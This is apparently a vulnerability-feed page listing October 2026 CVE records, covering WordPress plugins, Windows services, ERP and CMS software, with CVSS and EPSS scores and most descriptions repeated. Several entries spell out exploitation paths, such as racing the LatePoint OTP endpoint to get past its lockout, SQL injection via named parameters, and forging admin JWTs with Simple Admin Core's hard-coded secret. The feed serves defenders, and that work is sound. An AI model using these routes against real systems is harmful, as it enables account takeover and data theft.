The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass via Race Condition in all versions up to, and including, 5.7.4. This is due to a non-atomic read-modify-write on the OTP verification attempts counter in the `verifyOTP` function: the counter is incremented using a stale in-memory value with no conditional `WHERE attempts < 10` guard on the `UPDATE` and no `SELECT ... FOR UPDATE` row lock, creating a TOCTOU window that allows concurrent requests to bypass the 10-attempt lockout. This makes it possible for unauthenticated attackers — who know a target customer's registered email address or phone number — to fire concurrent requests to the `auth__verify_otp` endpoint, defeat the lockout cap, brute-force the 6-digit OTP code, and authenticate as the targeted LatePoint customer, gaining full access to their account, bookings, and personal data. The nonce check present on the endpoint (`otp_verify_otp_nonce`) does not mitigate this issue, as the nonce is publicly emitted by the unauthenticated `request_otp` and `resend_otp` endpoints and is trivially obtainable by any unauthenticated attacker prior to launching the race.
CVSS 9.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110653).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110653&date=2026-10-25).
Sources:
NVD CVE-2026-110653: https://nvd.nist.gov/vuln/detail/CVE-2026-110653
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110653&date=2026-10-25
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass via Race Condition in all versions up to, and including, 5.7.4. This is due to a non-atomic read-modify-write on the OTP verification attempts counter in the `verifyOTP` function: the counter is incremented using a stale in-memory value with no conditional `WHERE attempts < 10` guard on the `UPDATE` and no `SELECT ... FOR UPDATE` row lock, creating a TOCTOU window that allows concurrent requests to bypass the 10-attempt lockout. This makes it possible for unauthenticated attackers — who know a target customer's registered email address or phone number — to fire concurrent requests to the `auth__verify_otp` endpoint, defeat the lockout cap, brute-force the 6-digit OTP code, and authenticate as the targeted LatePoint customer, gaining full access to their account, bookings, and personal data. The nonce check present on the endpoint (`otp_verify_otp_nonce`) does not mitigate this issue, as the nonce is publicly emitted by the unauthenticated `request_otp` and `resend_otp` endpoints and is trivially obtainable by any unauthenticated attacker prior to launching the race.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Generation of Error Message Containing Sensitive Information vulnerability in Gantry Gantry 5 Framework gantry5 allows Retrieve Embedded Sensitive Data.This issue affects Gantry 5...
https://kevwire.com/record/CVE-2026-110889
Generation of Error Message Containing Sensitive Information vulnerability in Gantry Gantry 5 Framework gantry5 allows Retrieve Embedded Sensitive Data.This issue affects Gantry 5... (Oct 17, 2026).
Generation of Error Message Containing Sensitive Information vulnerability in Gantry Gantry 5 Framework gantry5 allows Retrieve Embedded Sensitive Data.This issue affects Gantry 5 Framework: from n/a through 5.6.4.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110889).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110889&date=2026-10-25).
Sources:
NVD CVE-2026-110889: https://nvd.nist.gov/vuln/detail/CVE-2026-110889
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110889&date=2026-10-25
Generation of Error Message Containing Sensitive Information vulnerability in Gantry Gantry 5 Framework gantry5 allows Retrieve Embedded Sensitive Data.This issue affects Gantry 5 Framework: from n/a through 5.6.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems Support Genix support-genix-lite allows SQL Injection.This issue...
https://kevwire.com/record/CVE-2026-110895
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems Support Genix support-genix-lite allows SQL Injection.This issue... (Oct 18, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems Support Genix support-genix-lite allows SQL Injection.This issue affects Support Genix: from n/a through 1.4.54.
CVSS 8.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110895).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110895&date=2026-10-25).
Sources:
NVD CVE-2026-110895: https://nvd.nist.gov/vuln/detail/CVE-2026-110895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110895&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems Support Genix support-genix-lite allows SQL Injection.This issue affects Support Genix: from n/a through 1.4.54.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Payment forms, Buy now buttons, and Invoicing System | GetPaid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mmdwqzpoxadd' parameter in all...
https://kevwire.com/record/CVE-2026-111110
The Payment forms, Buy now buttons, and Invoicing System | GetPaid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mmdwqzpoxadd' parameter in all... (Oct 17, 2026).
The Payment forms, Buy now buttons, and Invoicing System | GetPaid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mmdwqzpoxadd' parameter in all versions up to, and including, 2.8.61 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The required nonce (getpaid_form_nonce) is publicly emitted to all visitors via wp_localize_script as WPInv.formNonce, meaning no authentication or prior nonce leak is needed; the stored payload fires when an administrator views the affected invoice's Payment Form Details metabox.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111110).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111110&date=2026-10-25).
Sources:
NVD CVE-2026-111110: https://nvd.nist.gov/vuln/detail/CVE-2026-111110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111110&date=2026-10-25
The Payment forms, Buy now buttons, and Invoicing System | GetPaid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mmdwqzpoxadd' parameter in all versions up to, and including, 2.8.61 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The required nonce (getpaid_form_nonce) is publicly emitted to all visitors via wp_localize_script as WPInv.formNonce, meaning no authentication or prior nonce leak is needed; the stored payload fires when an administrator views the affected invoice's Payment Form Details metabox.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in ztxz16 fastllm up to 1.8.2. Affected by this issue is the function SafeTensorItem::CreateBuffer of the file src/model.cpp of the component Safetensors...
https://kevwire.com/record/CVE-2026-112107
A flaw has been found in ztxz16 fastllm up to 1.8.2. Affected by this issue is the function SafeTensorItem::CreateBuffer of the file src/model.cpp of the component Safetensors... (Oct 19, 2026).
A flaw has been found in ztxz16 fastllm up to 1.8.2. Affected by this issue is the function SafeTensorItem::CreateBuffer of the file src/model.cpp of the component Safetensors Weight Loading. This manipulation of the argument data_offsets causes buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112107).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112107&date=2026-10-25).
Sources:
NVD CVE-2026-112107: https://nvd.nist.gov/vuln/detail/CVE-2026-112107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112107&date=2026-10-25
A flaw has been found in ztxz16 fastllm up to 1.8.2. Affected by this issue is the function SafeTensorItem::CreateBuffer of the file src/model.cpp of the component Safetensors Weight Loading. This manipulation of the argument data_offsets causes buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in llSourcell Doctor-Dignity up to 3f2ffb6c892f13b50a708d05900d3227acb40ded. This impacts the function _get_lib_module of the file...
https://kevwire.com/record/CVE-2026-112140
A vulnerability was found in llSourcell Doctor-Dignity up to 3f2ffb6c892f13b50a708d05900d3227acb40ded. This impacts the function _get_lib_module of the file... (Oct 19, 2026).
A vulnerability was found in llSourcell Doctor-Dignity up to 3f2ffb6c892f13b50a708d05900d3227acb40ded. This impacts the function _get_lib_module of the file python/mlc_chat/chat_module.py. The manipulation of the argument model_lib results in code injection. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112140).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112140&date=2026-10-25).
Sources:
NVD CVE-2026-112140: https://nvd.nist.gov/vuln/detail/CVE-2026-112140
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112140&date=2026-10-25
A vulnerability was found in llSourcell Doctor-Dignity up to 3f2ffb6c892f13b50a708d05900d3227acb40ded. This impacts the function _get_lib_module of the file python/mlc_chat/chat_module.py. The manipulation of the argument model_lib results in code injection. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Registration & Membership plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 5.2.8 This is due to insufficient input...
https://kevwire.com/record/CVE-2026-92798
The User Registration & Membership plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 5.2.8 This is due to insufficient input... (Oct 17, 2026).
The User Registration & Membership plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 5.2.8 This is due to insufficient input sanitization in the 'referrer_url' branch of UR_Smart_Tags::process(), where the attacker-controlled HTTP_REFERER header is only passed through sanitize_text_field() — which does not strip WordPress shortcode delimiters — before being substituted into a Content Restriction message that is subsequently executed via apply_shortcodes()/do_shortcode(). This makes it possible for unauthenticated attackers to execute arbitrary registered shortcodes on any restricted page whose message uses the supported {{referrer_url}} smart tag.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92798).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92798&date=2026-10-25).
Sources:
NVD CVE-2026-92798: https://nvd.nist.gov/vuln/detail/CVE-2026-92798
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92798&date=2026-10-25
The User Registration & Membership plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 5.2.8 This is due to insufficient input sanitization in the 'referrer_url' branch of UR_Smart_Tags::process(), where the attacker-controlled HTTP_REFERER header is only passed through sanitize_text_field() — which does not strip WordPress shortcode delimiters — before being substituted into a Content Restriction message that is subsequently executed via apply_shortcodes()/do_shortcode(). This makes it possible for unauthenticated attackers to execute arbitrary registered shortcodes on any restricted page whose message uses the supported {{referrer_url}} smart tag.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is...
https://kevwire.com/record/CVE-2026-96660
The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is... (Oct 17, 2026).
The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Checkbox Field Value in all versions up to, and including, 5.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nopriv AJAX action user_registration_user_form_submit reaches ur_process_registration() without nonce validation, meaning any unauthenticated request can reach the vulnerable code path.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96660).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96660&date=2026-10-25).
Sources:
NVD CVE-2026-96660: https://nvd.nist.gov/vuln/detail/CVE-2026-96660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96660&date=2026-10-25
The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Checkbox Field Value in all versions up to, and including, 5.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nopriv AJAX action user_registration_user_form_submit reaches ur_process_registration() without nonce validation, meaning any unauthenticated request can reach the vulnerable code path.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-84012
Double free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84012).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84012&date=2026-10-25).
Sources:
NVD CVE-2026-84012: https://nvd.nist.gov/vuln/detail/CVE-2026-84012
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84012&date=2026-10-25
Double free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-84013
Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84013).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84013&date=2026-10-25).
Sources:
NVD CVE-2026-84013: https://nvd.nist.gov/vuln/detail/CVE-2026-84013
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84013
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84013&date=2026-10-25
Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-84014
Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84014).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84014&date=2026-10-25).
Sources:
NVD CVE-2026-84014: https://nvd.nist.gov/vuln/detail/CVE-2026-84014
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84014&date=2026-10-25
Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Remote Access Point-to-Point Protocol (PPP) EAP-TLS allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-84015
Heap-based buffer overflow in Remote Access Point-to-Point Protocol (PPP) EAP-TLS allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Remote Access Point-to-Point Protocol (PPP) EAP-TLS allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84015).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84015&date=2026-10-25).
Sources:
NVD CVE-2026-84015: https://nvd.nist.gov/vuln/detail/CVE-2026-84015
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84015
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84015&date=2026-10-25
Heap-based buffer overflow in Remote Access Point-to-Point Protocol (PPP) EAP-TLS allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows EAPHost Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-84016
Out-of-bounds write in Windows EAPHost Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds write in Windows EAPHost Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84016).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84016&date=2026-10-25).
Sources:
NVD CVE-2026-84016: https://nvd.nist.gov/vuln/detail/CVE-2026-84016
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84016&date=2026-10-25
Out-of-bounds write in Windows EAPHost Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-84017
Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84017).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84017&date=2026-10-25).
Sources:
NVD CVE-2026-84017: https://nvd.nist.gov/vuln/detail/CVE-2026-84017
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84017
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84017&date=2026-10-25
Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WebVella ERP through 1.8.8 contains an sql injection vulnerability that allows any authenticated user to inject SQL through WHERE-clause text literals in the EQL query API.
https://kevwire.com/record/CVE-2026-111700
WebVella ERP through 1.8.8 contains an sql injection vulnerability that allows any authenticated user to inject SQL through WHERE-clause text literals in the EQL query API. (Oct 16, 2026).
WebVella ERP through 1.8.8 contains an sql injection vulnerability that allows any authenticated user to inject SQL through WHERE-clause text literals in the EQL query API. Attackers can send crafted single-quoted literals to POST /api/v3/en_US/eql, escaping the unsanitized EqlBuilder SQL interpolation to read unauthorized entities, including user and role tables.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111700).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111700&date=2026-10-25).
Sources:
NVD CVE-2026-111700: https://nvd.nist.gov/vuln/detail/CVE-2026-111700
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111700&date=2026-10-25
WebVella ERP through 1.8.8 contains an sql injection vulnerability that allows any authenticated user to inject SQL through WHERE-clause text literals in the EQL query API. Attackers can send crafted single-quoted literals to POST /api/v3/en_US/eql, escaping the unsanitized EqlBuilder SQL interpolation to read unauthorized entities, including user and role tables.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Shaiwz data-platform-open through commit efeacd3 contains an insecure direct object reference vulnerability that allows authenticated workspace members to access other workspaces'...
https://kevwire.com/record/CVE-2026-111695
Shaiwz data-platform-open through commit efeacd3 contains an insecure direct object reference vulnerability that allows authenticated workspace members to access other workspaces'... (Oct 16, 2026).
Shaiwz data-platform-open through commit efeacd3 contains an insecure direct object reference vulnerability that allows authenticated workspace members to access other workspaces' datasources by numeric id. Attackers can send foreign sequential ids to /datasource/detail, /listSchemaTable, /tableDetail, /update or /delete to obtain JDBC credentials, enumerate database schemas, and modify or delete datasources.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111695).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111695&date=2026-10-25).
Sources:
NVD CVE-2026-111695: https://nvd.nist.gov/vuln/detail/CVE-2026-111695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111695&date=2026-10-25
Shaiwz data-platform-open through commit efeacd3 contains an insecure direct object reference vulnerability that allows authenticated workspace members to access other workspaces' datasources by numeric id. Attackers can send foreign sequential ids to /datasource/detail, /listSchemaTable, /tableDetail, /update or /delete to obtain JDBC credentials, enumerate database schemas, and modify or delete datasources.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Simple Admin Core through 1.8.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge super administrator tokens by using the hard-coded...
https://kevwire.com/record/CVE-2026-111690
Simple Admin Core through 1.8.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge super administrator tokens by using the hard-coded... (Oct 16, 2026).
Simple Admin Core through 1.8.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge super administrator tokens by using the hard-coded Auth.AccessSecret in api/etc/core.yaml. Attackers can sign a JWT with the public secret and roleId claim 001 to gain full administrative control over users, roles, menus, API authorities, configuration and tokens.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111690).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111690&date=2026-10-25).
Sources:
NVD CVE-2026-111690: https://nvd.nist.gov/vuln/detail/CVE-2026-111690
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111690&date=2026-10-25
Simple Admin Core through 1.8.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge super administrator tokens by using the hard-coded Auth.AccessSecret in api/etc/core.yaml. Attackers can sign a JWT with the public secret and roleId claim 001 to gain full administrative control over users, roles, menus, API authorities, configuration and tokens.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL by supplying a crafted num path parameter to...
https://kevwire.com/record/CVE-2026-111685
IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL by supplying a crafted num path parameter to... (Oct 16, 2026).
IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL by supplying a crafted num path parameter to /WebResource/findresourcebynum. Attackers can append SQL after the LIMIT clause concatenated via QueryWrapper.last() to extract database contents using union-based or blind techniques.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111685).
